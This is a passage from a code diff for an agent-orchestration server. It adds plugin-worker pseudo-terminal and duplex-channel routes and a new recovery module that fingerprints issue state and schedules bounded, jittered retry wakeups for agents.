@@ -1225,6 +2254,15 @@ export function createPluginWorkerHandle(
       )),
     );
 
+    // Close the one login pseudo-terminal route with a fixed non-secret exit and
+    // clear the route one time. The pending pseudo-terminal calls
+    // already rejected through `rejectAllPending`.
+    closeSetupTokenPtyRouteOnWorkerExit();
+
+    // Close the one duplex channel route the same way. The pending channel calls
+    // already rejected through `rejectAllPending`.
+    closeDuplexChannelRouteOnWorkerExit();
+
     // Emit synthetic close for any orphaned stream channels so SSE clients
     // are notified instead of hanging indefinitely.
     if (openStreamChannels.size > 0 && options.onStreamNotification) {
@@ -1687,6 +2725,28 @@ export function createPluginWorkerHandle(
       return callInternal(method, params, timeoutMs, executeLogSink);
     },
 
+    openSetupTokenPtySession(input: SetupTokenPtyOpenInput) {
+      if (status !== "running" && status !== "starting") {
+        return Promise.reject(
+          new Error(
+            `Cannot open a login pseudo-terminal — worker for "${pluginId}" is ${status}`,
+          ),
+        );
+      }
+      return openSetupTokenPtySession(input);
+    },
+
+    openDuplexChannel(input: DuplexChannelOpenInput) {
+      if (status !== "running" && status !== "starting") {
+        return Promise.reject(
+          new Error(
+            `Cannot open a duplex channel — worker for "${pluginId}" is ${status}`,
+          ),
+        );
+      }
+      return openDuplexChannel(input);
+    },
+
     notify(method: string, params: unknown) {
       if (status !== "running") return;
       const invocationScope = deriveInvocationScope(method, params);
@@ -1925,5 +2985,15 @@ export function createPluginWorkerManager(
       }
       return handle.call(method, params, timeoutMs, executeLogSink);
     },
+
+    openSetupTokenPtySession(pluginId: string, input: SetupTokenPtyOpenInput) {
+      const handle = workers.get(pluginId);
+      if (!handle) {
+        return Promise.reject(
+          new Error(`No worker registered for plugin "${pluginId}"`),
+        );
+      }
+      return handle.openSetupTokenPtySession(input);
+    },
   };
 }
diff --git a/server/src/services/recovery/disposition-repair.ts b/server/src/services/recovery/disposition-repair.ts
new file mode 100644
index 00000000000..2c526a325df
--- /dev/null
+++ b/server/src/services/recovery/disposition-repair.ts
@@ -0,0 +1,251 @@
+import { createHash } from "node:crypto";
+import { and, eq, inArray, ne, notInArray, sql } from "drizzle-orm";
+import type { Db } from "@paperclipai/db";
+import {
+  agentWakeupRequests,
+  approvals,
+  heartbeatRuns,
+  issueApprovals,
+  issueRelations,
+  issueThreadInteractions,
+  issueWorkProducts,
+  issues,
+} from "@paperclipai/db";
+import { parseIssueExecutionState } from "../issue-execution-policy.js";
+
+const ACTIVE_RUN_STATUSES = ["queued", "running", "scheduled_retry"] as const;
+
+export const DISPOSITION_REPAIR_MAX_ATTEMPTS = 5;
+export const DISPOSITION_REPAIR_BASE_DELAYS_MS = [0, 60_000, 120_000, 240_000, 480_000] as const;
+export const RECOVERY_OWNER_MAX_ATTEMPTS = 5;
+export const RECOVERY_OWNER_BASE_DELAYS_MS = [0, 60_000, 120_000, 240_000, 480_000] as const;
+
+type DispositionRepairIssue = Pick<
+  typeof issues.$inferSelect,
+  | "id"
+  | "companyId"
+  | "status"
+  | "assigneeAgentId"
+  | "assigneeUserId"
+  | "executionPolicy"
+  | "executionState"
+  | "monitorNextCheckAt"
+>;
+
+export type DispositionRepairSourceState = {
+  fingerprint: string;
+  dependencyIssueIds: string[];
+  hasActiveExecutionPath: boolean;
+  hasDurableWaitingPath: boolean;
+  durablePathReason: string | null;
+};
+
+function stableJson(value: unknown): string {
+  if (Array.isArray(value)) return `[${value.map(stableJson).join(",")}]`;
+  if (value && typeof value === "object") {
+    const record = value as Record<string, unknown>;
+    return `{${Object.keys(record).sort().map((key) => `${JSON.stringify(key)}:${stableJson(record[key])}`).join(",")}}`;
+  }
+  return JSON.stringify(value);
+}
+
+function boundedRecoveryDelayMs(
+  attempt: number,
+  fingerprint: string,
+  delays: readonly number[],
+  lane: string,
+) {
+  const baseDelayMs = delays[attempt - 1];
+  if (baseDelayMs === undefined) throw new Error(`Invalid ${lane} attempt: ${attempt}`);
+  if (baseDelayMs === 0) return { baseDelayMs, jitterMs: 0, delayMs: 0 };
+
+  const jitterBoundMs = Math.floor(baseDelayMs * 0.1);
+  const sample = Number.parseInt(
+    createHash("sha256").update(`${fingerprint}:${attempt}`).digest("hex").slice(0, 8),
+    16,
+  );
+  const jitterMs = sample % (jitterBoundMs + 1);
+  return { baseDelayMs, jitterMs, delayMs: baseDelayMs + jitterMs };
+}
+
+export function dispositionRepairDelayMs(attempt: number, fingerprint: string) {
+  return boundedRecoveryDelayMs(
+    attempt,
+    fingerprint,
+    DISPOSITION_REPAIR_BASE_DELAYS_MS,
+    "disposition repair",
+  );
+}
+
+export function recoveryOwnerDelayMs(attempt: number, fingerprint: string) {
+  return boundedRecoveryDelayMs(
+    attempt,
+    fingerprint,
+    RECOVERY_OWNER_BASE_DELAYS_MS,
+    "recovery owner",
+  );
+}
+
+export async function collectDispositionRepairSourceState(
+  db: Db,
+  input: {
+    issue: DispositionRepairIssue;
+    excludeRunId?: string | null;
+    excludeWakeupRequestId?: string | null;
+  },
+): Promise<DispositionRepairSourceState> {
+  const issue = input.issue;
+  const [blockers, children, interactions, linkedApprovals, workProducts, activeRuns, queuedWakes] =
+    await Promise.all([
+      db
+        .select({ id: issues.id, status: issues.status, assigneeAgentId: issues.assigneeAgentId })
+        .from(issueRelations)
+        .innerJoin(
+          issues,
+          and(eq(issues.companyId, issueRelations.companyId), eq(issues.id, issueRelations.issueId)),
+        )
+        .where(
+          and(
+            eq(issueRelations.companyId, issue.companyId),
+            eq(issueRelations.relatedIssueId, issue.id),
+            eq(issueRelations.type, "blocks"),
+            notInArray(issues.status, ["done", "cancelled"]),
+            sql`${issues.hiddenAt} is null`,
+          ),
+        ),
+      db
+        .select({ id: issues.id, status: issues.status, assigneeAgentId: issues.assigneeAgentId })
+        .from(issues)
+        .where(
+          and(
+            eq(issues.companyId, issue.companyId),
+            eq(issues.parentId, issue.id),
+            notInArray(issues.status, ["done", "cancelled"]),
+            sql`${issues.hiddenAt} is null`,
+          ),
+        ),
+      db
+        .select({
+          id: issueThreadInteractions.id,
+          status: issueThreadInteractions.status,
+          kind: issueThreadInteractions.kind,
+          continuationPolicy: issueThreadInteractions.continuationPolicy,
+          updatedAt: issueThreadInteractions.updatedAt,
+        })
+        .from(issueThreadInteractions)
+        .where(
+          and(
+            eq(issueThreadInteractions.companyId, issue.companyId),
+            eq(issueThreadInteractions.issueId, issue.id),
+            inArray(issueThreadInteractions.status, ["pending", "accepted", "answered"]),
+          ),
+        ),
+      db
+        .select({ id: approvals.id, status: approvals.status, decidedAt: approvals.decidedAt })
+        .from(issueApprovals)
+        .innerJoin(
+          approvals,
+          and(
+            eq(issueApprovals.approvalId, approvals.id),
+            eq(issueApprovals.companyId, approvals.companyId),
+          ),
+        )
+        .where(
+          and(
+            eq(issueApprovals.companyId, issue.companyId),
+            eq(approvals.companyId, issue.companyId),
+            eq(issueApprovals.issueId, issue.id),
+            inArray(approvals.status, ["pending", "revision_requested", "approved"]),
+          ),
+        ),
+      db
+        .select({
+          id: issueWorkProducts.id,
+          type: issueWorkProducts.type,
+          status: issueWorkProducts.status,
+          reviewState: issueWorkProducts.reviewState,
+          updatedAt: issueWorkProducts.updatedAt,
+        })
+        .from(issueWorkProducts)
+        .where(
+          and(
+            eq(issueWorkProducts.companyId, issue.companyId),
+            eq(issueWorkProducts.issueId, issue.id),
+          ),
+        ),
+      db
+        .select({ id: heartbeatRuns.id, agentId: heartbeatRuns.agentId, status: heartbeatRuns.status })
+        .from(heartbeatRuns)
+        .where(
+          and(
+            eq(heartbeatRuns.companyId, issue.companyId),
+            inArray(heartbeatRuns.status, [...ACTIVE_RUN_STATUSES]),
+            sql`${heartbeatRuns.contextSnapshot} ->> 'issueId' = ${issue.id}`,
+            input.excludeRunId ? ne(heartbeatRuns.id, input.excludeRunId) : sql`true`,
+          ),
+        ),
+      db
+        .select({ id: agentWakeupRequests.id, agentId: agentWakeupRequests.agentId, status: agentWakeupRequests.status })
+        .from(agentWakeupRequests)
+        .where(
+          and(
+            eq(agentWakeupRequests.companyId, issue.companyId),
+            inArray(agentWakeupRequests.status, ["queued", "deferred_issue_execution"]),
+            sql`${agentWakeupRequests.payload} ->> 'issueId' = ${issue.id}`,
+            input.excludeWakeupRequestId
+              ? ne(agentWakeupRequests.id, input.excludeWakeupRequestId)
+              : sql`true`,
+          ),
+        ),
+    ]);
+
+  const pendingExecutionState = parseIssueExecutionState(issue.executionState);
+  const pendingInteraction = interactions.some((row) => row.status === "pending");
+  const pendingApproval = linkedApprovals.some((row) =>
+    row.status === "pending" || row.status === "revision_requested",
+  );
+  const durablePathReason = issue.assigneeUserId
+    ? "user_owner"
+    : blockers.length > 0
+      ? "blocker"
+      : issue.monitorNextCheckAt && issue.monitorNextCheckAt.getTime() > Date.now()
+        ? "monitor"
+        : pendingExecutionState?.status === "pending"
+          ? "execution_stage"
+          : pendingInteraction
+            ? "interaction"
+            : pendingApproval
+              ? "approval"
+              : null;
+
+  const durableState = {
+    source: {
+      status: issue.status,
+      assigneeAgentId: issue.assigneeAgentId,
+      assigneeUserId: issue.assigneeUserId,
+      executionPolicy: issue.executionPolicy,
+      executionState: issue.executionState,
+      monitorNextCheckAt: issue.monitorNextCheckAt?.toISOString() ?? null,
+    },
+    blockers: blockers.sort((a, b) => a.id.localeCompare(b.id)),
+    children: children.sort((a, b) => a.id.localeCompare(b.id)),
+    interactions: interactions
+      .map((row) => ({ ...row, updatedAt: row.updatedAt.toISOString() }))
+      .sort((a, b) => a.id.localeCompare(b.id)),
+    approvals: linkedApprovals
+      .map((row) => ({ ...row, decidedAt: row.decidedAt?.toISOString() ?? null }))
+      .sort((a, b) => a.id.localeCompare(b.id)),
+    workProducts: workProducts
+      .map((row) => ({ ...row, updatedAt: row.updatedAt.toISOString() }))
+      .sort((a, b) => a.id.localeCompare(b.id)),
+  };
+  const digest = createHash("sha256").update(stableJson(durableState)).digest("hex");
+
+  return {
+    fingerprint: `disposition_repair:v1:${digest}`,
+    dependencyIssueIds: [...new Set([...blockers.map((row) => row.id), ...children.map((row) => row.id)])],
+    hasActiveExecutionPath: activeRuns.length > 0 || queuedWakes.length > 0,
+    hasDurableWaitingPath: durablePathReason !== null,
+    durablePathReason,
+  };
+}
diff --git a/server/src/services/recovery/service.ts b/server/src/services/recovery/service.ts
index 9cfe3921970..8b00c7d07bb 100644
--- a/server/src/services/recovery/service.ts
+++ b/server/src/services/recovery/service.ts
@@ -5,6 +5,7 @@ import {
   MAX_ISSUE_GRAPH_LIVENESS_AUTO_RECOVERY_LOOKBACK_HOURS,
   MIN_ISSUE_GRAPH_LIVENESS_AUTO_RECOVERY_LOOKBACK_HOURS,
   PROVIDER_QUOTA_MONITOR_SERVICE_NAME,
+  ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
   type IssueCommentMetadata,
   type IssueCommentPresentation,
   type IssueGraphLivenessAutoRecoveryPreview,
@@ -35,6 +36,7 @@ import { logger } from "../../middleware/logger.js";
 import { isPidAlive, isProcessGroupAlive, terminateLocalService } from "../local-service-supervisor.js";
 import { redactCurrentUserText } from "../../log-redaction.js";
 import { redactSensitiveText } from "../../redaction.js";
+import { isUniqueViolation } from "../../db-errors.js";
 import { logActivity } from "../activity-log.js";
 import { budgetService } from "../budgets.js";
 import { instanceSettingsService } from "../instance-settings.js";
@@ -48,16 +50,18 @@ import {
 } from "../issue-execution-policy.js";
 import {
   ISSUE_BLOCKERS_RESOLVED_WAKE_REASON,
-  buildIssueBlockersResolvedWakeIdempotencyKey,
-  findExistingIssueBlockersResolvedWakeForAnyKey,
+  buildIssueBlockersResolvedWakeStateKey,
+  findExistingIssueBlockersResolvedWakeForReadyState,
 } from "../issue-dependency-wakeups.js";
 import { evaluateAgentInvokabilityFromDb } from "../agent-invokability.js";
+import { isHeartbeatWakeOnDemandEnabled } from "../heartbeat-policy.js";
 import { getRunLogStore } from "../run-log-store.js";
 import {
   DEFAULT_MAX_SUCCESSFUL_RUN_HANDOFF_ATTEMPTS,
   FINISH_SUCCESSFUL_RUN_HANDOFF_REASON,
   SUCCESSFUL_RUN_MISSING_STATE_REASON,
   buildSuccessfulRunHandoffExhaustedNotice,
+  isPluginManagedIssueLifecycle,
   noticeMetadataReferencesRecoveryAction,
   type SuccessfulRunHandoffNotice,
 } from "./successful-run-handoff.js";
@@ -82,6 +86,13 @@ import {
   withRecoveryModelProfileHint,
 } from "./model-profile-hint.js";
 import { isAutomaticRecoverySuppressedByPauseHold } from "./pause-hold-guard.js";
+import {
+  collectDispositionRepairSourceState,
+  dispositionRepairDelayMs,
+  DISPOSITION_REPAIR_MAX_ATTEMPTS,
+  recoveryOwnerDelayMs,
+  RECOVERY_OWNER_MAX_ATTEMPTS,
+} from "./disposition-repair.js";
 
 const EXECUTION_PATH_HEARTBEAT_RUN_STATUSES = ["queued", "running", "scheduled_retry"] as const;
 const UNSUCCESSFUL_HEARTBEAT_RUN_TERMINAL_STATUSES = ["interrupted", "failed", "cancelled", "timed_out"] as const;
@@ -94,6 +105,8 @@ const STRANDED_ISSUE_RECOVERY_ORIGIN_KIND = RECOVERY_ORIGIN_KINDS.strandedIssueR
 const STALE_ACTIVE_RUN_EVALUATION_ORIGIN_KIND = RECOVERY_ORIGIN_KINDS.staleActiveRunEvaluation;
 const DEFERRED_WAKE_CONTEXT_KEY = "_paperclipWakeContext";
 const EXECUTION_REVIEW_PARTICIPANT_RECOVERY_REASON = "execution_review_participant_recovery";
+const RECOVERY_OWNER_RETRY_REASON = "recovery_owner_retry";
+const DISPOSITION_REPAIR_IDEMPOTENCY_INDEX = "agent_wakeup_requests_disposition_repair_idempotency_uq";
 const RESOLVED_DEPENDENCY_WAKE_BACKSTOP_CANDIDATE_LIMIT = 500;
 const SESSIONED_LOCAL_ADAPTERS = new Set([
   "claude_local",
@@ -101,6 +114,7 @@ const SESSIONED_LOCAL_ADAPTERS = new Set([
   "cursor",
   "gemini_local",
   "hermes_local",
+  "kimi_local",
   "opencode_local",
   "pi_local",
 ]);
@@ -162,6 +176,7 @@ type SuccessfulLatestIssueRun = NonNullable<LatestIssueRun> & { status: "succeed
 
 type StrandedRecoveryCause =
   | "stranded_assigned_issue"
+  | "deliberate_wait_without_target"
   | "process_lost"
   | "provider_quota"
   | "codex_output_inactivity_monitor"
@@ -285,6 +300,11 @@ function readWorkspaceValidationFingerprint(latestRun: LatestIssueRun): string |
   return readNonEmptyString(payload?.fingerprint);
 }
 
+function readConfigurationIncompleteFingerprint(latestRun: LatestIssueRun): string | null {
+  const payload = parseObject(parseObject(latestRun?.resultJson).configurationIncomplete);
+  return readNonEmptyString(payload?.fingerprint);
+}
+
 type WatchdogDecisionActor =
   | { type: "board"; userId?: string | null; runId?: string | null }
   | { type: "agent"; agentId?: string | null; runId?: string | null }
@@ -484,7 +504,7 @@ export function classifyAdapterFailureForRecovery(
 }
 
 type ContinuationRetryClassification = {
-  kind: "transient_infra" | "non_retryable" | "default";
+  kind: "transient_infra" | "non_retryable" | "deliberate_wait_without_target" | "default";
   maxAttempts: number;
   baseBackoffMs: number;
   errorCode: string | null;
@@ -492,6 +512,14 @@ type ContinuationRetryClassification = {
 
 export function classifyContinuationFailure(latestRun: LatestIssueRun): ContinuationRetryClassification {
   const errorCode = readNonEmptyString(latestRun?.errorCode);
+  if (errorCode === CONTINUATION_WAITING_ON_REVIEW_ERROR_CODE) {
+    return {
+      kind: "deliberate_wait_without_target",
+      maxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+      baseBackoffMs: CONTINUATION_RECOVERY_TRANSIENT_BASE_BACKOFF_MS,
+      errorCode,
+    };
+  }
   if (errorCode && NON_RETRYABLE_CONTINUATION_ERROR_CODES.has(errorCode)) {
     return { kind: "non_retryable", maxAttempts: 0, baseBackoffMs: 0, errorCode };
   }
@@ -1835,7 +1863,13 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
         issueId: input.sourceIssue?.id ?? null,
         projectId: input.sourceIssue?.projectId ?? null,
       });
-      if ((await isAgentInvokable(candidate)) && !budgetBlock) return candidate.id;
+      if (
+        (await isAgentInvokable(candidate)) &&
+        isHeartbeatWakeOnDemandEnabled(candidate) &&
+        !budgetBlock
+      ) {
+        return candidate.id;
+      }
     }
 
     return null;
@@ -2526,6 +2560,7 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
   async function resolveStrandedIssueRecoveryOwnerAgentId(
     issue: typeof issues.$inferSelect,
     preferredOwnerAgentId?: string | null,
+    excludedAgentIds: ReadonlySet<string> = new Set(),
   ) {
     const candidateIds: string[] = [];
     if (preferredOwnerAgentId) candidateIds.push(preferredOwnerAgentId);
@@ -2551,13 +2586,20 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
     for (const agentId of candidateIds) {
       if (seen.has(agentId)) continue;
       seen.add(agentId);
+      if (excludedAgentIds.has(agentId)) continue;
       const candidate = await getAgent(agentId);
       if (!candidate || candidate.companyId !== issue.companyId) continue;
       const budgetBlock = await budgets.getInvocationBlock(issue.companyId, candidate.id, {
         issueId: issue.id,
         projectId: issue.projectId,
       });
-      if ((await isAgentInvokable(candidate)) && !budgetBlock) return candidate.id;
+      if (
+        (await isAgentInvokable(candidate)) &&
+        isHeartbeatWakeOnDemandEnabled(candidate) &&
+        !budgetBlock
+      ) {
+        return candidate.id;
+      }
     }
 
     return null;
@@ -2574,7 +2616,11 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
       issueId: issue.id,
       projectId: issue.projectId,
     });
-    return (await isAgentInvokable(candidate)) && !budgetBlock ? candidate.id : null;
+    return (await isAgentInvokable(candidate)) &&
+      isHeartbeatWakeOnDemandEnabled(candidate) &&
+      !budgetBlock
+      ? candidate.id
+      : null;
   }
 
   async function resolveStrandedRecoveryRouting(input: {
@@ -2800,6 +2846,8 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
   function strandedRecoveryActionKind(cause: StrandedRecoveryCause) {
     return cause === SUCCESSFUL_RUN_MISSING_STATE_REASON
       ? "missing_disposition" as const
+      : cause === "deliberate_wait_without_target"
+        ? "deliberate_wait_without_target" as const
       : cause === "workspace_validation_failed"
         ? "workspace_validation" as const
       : cause === "configuration_incomplete"
@@ -2824,6 +2872,23 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
         ].join(":");
       }
     }
+    // A configuration-incomplete failure that carries a stable identity (for
+    // example an unresolved workspace base ref) dedupes per that identity, so a
+    // different requested ref makes a new recovery action while the same ref
+    // reuses one. Configuration gaps with no fingerprint fall back to the
+    // issue-and-cause scope below.
+    if (input.recoveryCause === "configuration_incomplete") {
+      const configurationFingerprint = readConfigurationIncompleteFingerprint(input.latestRun);
+      if (configurationFingerprint) {
+        return [
+          "source_scoped_recovery",
+          input.issue.companyId,
+          input.issue.id,
+          input.recoveryCause,
+          configurationFingerprint,
+        ].join(":");
+      }
+    }
     return [
       "source_scoped_recovery",
       input.issue.companyId,
@@ -2882,6 +2947,11 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
     const action = await recoveryActionsSvc.upsertSourceScoped({
       companyId: input.issue.companyId,
       sourceIssueId: input.issue.id,
+      // A configuration-incomplete failure carries a per-identity fingerprint
+      // (for example the unresolved workspace base ref). A different ref is a
+      // distinct blocker, so it must get a new recovery action and notify the
+      // operator, not overwrite the active action of the prior ref.
+      supersedeOnIdentityChange: recoveryCause === "configuration_incomplete",
       kind: strandedRecoveryActionKind(recoveryCause),
       ownerType: recoveryCause === "provider_quota" && !ownerAgentId ? "system" : ownerAgentId ? "agent" : "board",
       ownerAgentId,
@@ -3230,9 +3300,8 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
     return existingUnresolvedBlockerIssues(companyId, issueId).then((rows) => rows.map((row) => row.id));
   }
 
-  async function resolveContinuationWaitingOnReview(issue: typeof issues.$inferSelect) {
-    const existingBlockers = await existingUnresolvedBlockerIssues(issue.companyId, issue.id);
-    const openChildren = await db
+  async function openChildIssues(issue: typeof issues.$inferSelect) {
+    return db
       .select({ id: issues.id, identifier: issues.identifier })
       .from(issues)
       .where(
@@ -3243,6 +3312,35 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
           notInArray(issues.status, ["done", "cancelled"]),
         ),
       );
+  }
+
+  async function healthyOpenChildIssues(issue: typeof issues.$inferSelect) {
+    const childCandidates = await db
+      .select()
+      .from(issues)
+      .where(
+        and(
+          eq(issues.companyId, issue.companyId),
+          eq(issues.parentId, issue.id),
+          visibleIssueCondition(),
+          notInArray(issues.status, ["done", "cancelled"]),
+        ),
+      );
+    const openChildren = [] as Array<{ id: string; identifier: string | null }>;
+    for (const child of childCandidates) {
+      const childState = await collectDispositionRepairSourceState(db, { issue: child });
+      if (childState.hasActiveExecutionPath || childState.hasDurableWaitingPath) {
+        openChildren.push({ id: child.id, identifier: child.identifier });
+      }
+    }
+    return openChildren;
+  }
+
+  async function resolveContinuationWaitingOnReview(issue: typeof issues.$inferSelect) {
+    const [existingBlockers, openChildren] = await Promise.all([
+      existingUnresolvedBlockerIssues(issue.companyId, issue.id),
+      openChildIssues(issue),
+    ]);
     const blockedByIssueIds = [...new Set([...existingBlockers.map((row) => row.id), ...openChildren.map((row) => row.id)])];
     if (blockedByIssueIds.length === 0) return null;
 
@@ -3297,6 +3395,965 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
     return updated;
   }
 
+  function readDispositionRepairAttempt(latestRun: LatestIssueRun) {
+    if (!latestRun) return null;
+    const context = parseObject(latestRun.contextSnapshot);
+    if (readNonEmptyString(context.retryReason) !== ISSUE_DISPOSITION_REPAIR_RETRY_REASON) return null;
+    return {
+      attempt: Math.max(1, Math.floor(asNumber(context.dispositionRepairAttempt, 1))),
+      fingerprint: readNonEmptyString(context.dispositionRepairFingerprint),
+    };
+  }
+
+  async function resolveDispositionRepairActionAsCovered(
+    issue: typeof issues.$inferSelect,
+    reason: string,
+  ) {
+    const active = await recoveryActionsSvc.getActiveForIssue(issue.companyId, issue.id);
+    if (!active || active.kind !== "deliberate_wait_without_target") return;
+    await recoveryActionsSvc.resolveActiveForIssue({
+      companyId: issue.companyId,
+      sourceIssueId: issue.id,
+      actionId: active.id,
+      status: "resolved",
+      outcome: "restored",
+      resolutionNote: reason,
+    });
+    await logActivity(db, {
+      companyId: issue.companyId,
+      actorType: "system",
+      actorId: "recovery",
+      agentId: null,
+      runId: null,
+      action: "issue.disposition_repair_resolved",
+      entityType: "issue_recovery_action",
+      entityId: active.id,
+      details: {
+        sourceIssueId: issue.id,
+        sourceIdentifier: issue.identifier,
+        reason,
+      },
+    });
+  }
+
+  async function ensureDispositionRepairAction(input: {
+    issue: typeof issues.$inferSelect;
+    latestRun: LatestIssueRun;
+    fingerprint: string;
+    attemptCount: number;
+  }) {
+    let active = await recoveryActionsSvc.getActiveForIssue(input.issue.companyId, input.issue.id);
+    if (active && (
+      active.kind !== "deliberate_wait_without_target" ||
+      active.fingerprint !== input.fingerprint
+    )) {
+      await recoveryActionsSvc.resolveActiveForIssue({
+        companyId: input.issue.companyId,
+        sourceIssueId: input.issue.id,
+        actionId: active.id,
+        status: "cancelled",
+        outcome: "cancelled",
+        resolutionNote: "source_state_changed",
+      });
+      await logActivity(db, {
+        companyId: input.issue.companyId,
+        actorType: "system",
+        actorId: "recovery",
+        agentId: null,
+        runId: input.latestRun?.id ?? null,
+        action: "issue.disposition_repair_fingerprint_reset",
+        entityType: "issue_recovery_action",
+        entityId: active.id,
+        details: {
+          sourceIssueId: input.issue.id,
+          previousFingerprint: active.fingerprint,
+          nextFingerprint: input.fingerprint,
+          terminalReason: "source_state_changed",
+        },
+      });
+      active = null;
+    }
+
+    if (active && active.attemptCount >= input.attemptCount) return active;
+
+    return recoveryActionsSvc.upsertSourceScoped({
+      companyId: input.issue.companyId,
+      sourceIssueId: input.issue.id,
+      kind: "deliberate_wait_without_target",
+      ownerType: "agent",
+      ownerAgentId: input.issue.assigneeAgentId,
+      previousOwnerAgentId: input.issue.assigneeAgentId,
+      returnOwnerAgentId: input.issue.assigneeAgentId,
+      cause: "deliberate_wait_without_target",
+      fingerprint: input.fingerprint,
+      evidence: {
+        sourceIssueId: input.issue.id,
+        sourceIdentifier: input.issue.identifier,
+        latestRunId: input.latestRun?.id ?? null,
+        latestRunStatus: input.latestRun?.status ?? null,
+        latestRunErrorCode: input.latestRun?.errorCode ?? null,
+        sourceStateFingerprint: input.fingerprint,
+        terminalReason: null,
+      },
+      nextAction:
+        "The original owner must replace the parked summary with a terminal, live, blocked, monitored, or typed waiting disposition.",
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        retryAgentId: input.issue.assigneeAgentId,
+        attempt: input.attemptCount,
+        maxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+      },
+      maxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+      attemptCount: input.attemptCount,
+      lastAttemptAt: new Date(),
+    });
+  }
+
+  async function scheduleDispositionRepairAttempt(input: {
+    issue: typeof issues.$inferSelect;
+    latestRun: LatestIssueRun;
+    action: Awaited<ReturnType<typeof ensureDispositionRepairAction>>;
+    fingerprint: string;
+    attempt: number;
+  }) {
+    const agentId = input.issue.assigneeAgentId;
+    if (!agentId) return null;
+    const timing = dispositionRepairDelayMs(input.attempt, input.fingerprint);
+    const now = new Date();
+    const retryAt = new Date(now.getTime() + timing.delayMs);
+    const idempotencyKey = `issue_disposition_repair:${input.issue.id}:${input.fingerprint}:${input.attempt}`;
+    const context = withRecoveryModelProfileHint({
+      issueId: input.issue.id,
+      taskId: input.issue.id,
+      wakeReason: ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
+      retryReason: ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
+      source: "issue.deliberate_wait_disposition_repair",
+      retryOfRunId: input.latestRun?.id ?? null,
+      recoveryActionId: input.action.id,
+      dispositionRepairFingerprint: input.fingerprint,
+      dispositionRepairAttempt: input.attempt,
+      dispositionRepairMaxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+      bypassContinuationSummaryPark: true,
+      dispositionRepairInstruction:
+        "Revalidate the issue and replace the invalid parked summary with a durable disposition. Continue productive work when appropriate.",
+    }, "normal_model");
+
+    const findScheduledRun = () => db
+      .select({ run: heartbeatRuns })
+      .from(agentWakeupRequests)
+      .innerJoin(heartbeatRuns, eq(heartbeatRuns.id, agentWakeupRequests.runId))
+      .where(and(
+        eq(agentWakeupRequests.companyId, input.issue.companyId),
+        eq(agentWakeupRequests.idempotencyKey, idempotencyKey),
+        sql`${agentWakeupRequests.status} <> 'skipped'`,
+      ))
+      .limit(1)
+      .then((rows) => rows[0]?.run ?? null);
+
+    let scheduledRun = await findScheduledRun();
+    let created = false;
+    if (!scheduledRun) {
+      try {
+        if (timing.delayMs === 0) {
+          const enqueuedRun = await deps.enqueueWakeup(agentId, {
+            source: "automation",
+            triggerDetail: "system",
+            reason: ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
+            idempotencyKey,
+            payload: withRecoveryModelProfileHint({
+              issueId: input.issue.id,
+              retryOfRunId: input.latestRun?.id ?? null,
+              recoveryActionId: input.action.id,
+              dispositionRepairFingerprint: input.fingerprint,
+              dispositionRepairAttempt: input.attempt,
+              bypassContinuationSummaryPark: true,
+            }, "normal_model"),
+            requestedByActorType: "system",
+            requestedByActorId: null,
+            contextSnapshot: context,
+          });
+          scheduledRun = enqueuedRun ?? (await findScheduledRun());
+          created = Boolean(enqueuedRun);
+        } else {
+          scheduledRun = await db.transaction(async (tx) => {
+            const wakeup = await tx
+              .insert(agentWakeupRequests)
+              .values({
+                companyId: input.issue.companyId,
+                agentId,
+                source: "automation",
+                triggerDetail: "system",
+                reason: ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
+                payload: withRecoveryModelProfileHint({
+                  issueId: input.issue.id,
+                  retryOfRunId: input.latestRun?.id ?? null,
+                  recoveryActionId: input.action.id,
+                  dispositionRepairFingerprint: input.fingerprint,
+                  dispositionRepairAttempt: input.attempt,
+                  bypassContinuationSummaryPark: true,
+                }, "normal_model"),
+                status: "queued",
+                requestedByActorType: "system",
+                requestedByActorId: null,
+                idempotencyKey,
+                updatedAt: now,
+              })
+              .returning()
+              .then((rows) => rows[0]!);
+            const run = await tx
+              .insert(heartbeatRuns)
+              .values({
+                companyId: input.issue.companyId,
+                agentId,
+                invocationSource: "automation",
+                triggerDetail: "system",
+                status: "scheduled_retry",
+                wakeupRequestId: wakeup.id,
+                retryOfRunId: input.latestRun?.id ?? null,
+                scheduledRetryAt: retryAt,
+                scheduledRetryAttempt: input.attempt,
+                scheduledRetryReason: ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
+                contextSnapshot: context,
+                updatedAt: now,
+              })
+              .returning()
+              .then((rows) => rows[0]!);
+            await tx
+              .update(agentWakeupRequests)
+              .set({ runId: run.id, updatedAt: now })
+              .where(eq(agentWakeupRequests.id, wakeup.id));
+            return run;
+          });
+          created = true;
+        }
+      } catch (error) {
+        if (!isUniqueViolation(error, DISPOSITION_REPAIR_IDEMPOTENCY_INDEX)) throw error;
+        const winningRun = await findScheduledRun();
+        if (!winningRun) throw error;
+        scheduledRun = winningRun;
+      }
+    }
+
+    if (!scheduledRun) return null;
+
+    await db
+      .update(issueRecoveryActions)
+      .set({
+        attemptCount: input.attempt,
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          retryAgentId: agentId,
+          attempt: input.attempt,
+          maxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+          baseBackoffMs: timing.baseDelayMs,
+          jitterMs: timing.jitterMs,
+          retryAt: retryAt.toISOString(),
